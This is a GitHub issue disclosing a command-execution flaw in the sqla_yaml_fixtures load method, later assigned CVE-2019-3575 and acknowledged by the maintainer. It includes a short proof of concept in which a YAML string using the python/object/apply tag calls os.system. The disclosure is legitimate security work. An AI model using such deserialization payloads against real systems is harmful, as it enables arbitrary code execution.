Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

sqla_yaml_fixtures.load method is vulnerable #20

Closed
bigbigliang-malwarebenchmark opened this issue Jan 2, 2019 · 2 comments
Closed
Labels

Comments

@bigbigliang-malwarebenchmark
Copy link

import sqla_yaml_fixtures
test_str ='!!python/object/apply:os.system ["dir"]'
sqla_yaml_fixtures.load('a','a',test_str)

Hi, there is a vulnerability in load methods in sqla_yaml_fixtures,please see PoC above. It can execute arbitrary python commands resulting in command execution.

@abergmann
Copy link

CVE-2019-3575 was assigned to this issue.

@schettino72
Copy link
Owner

Yes, YAML is vulnerable.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

3 participants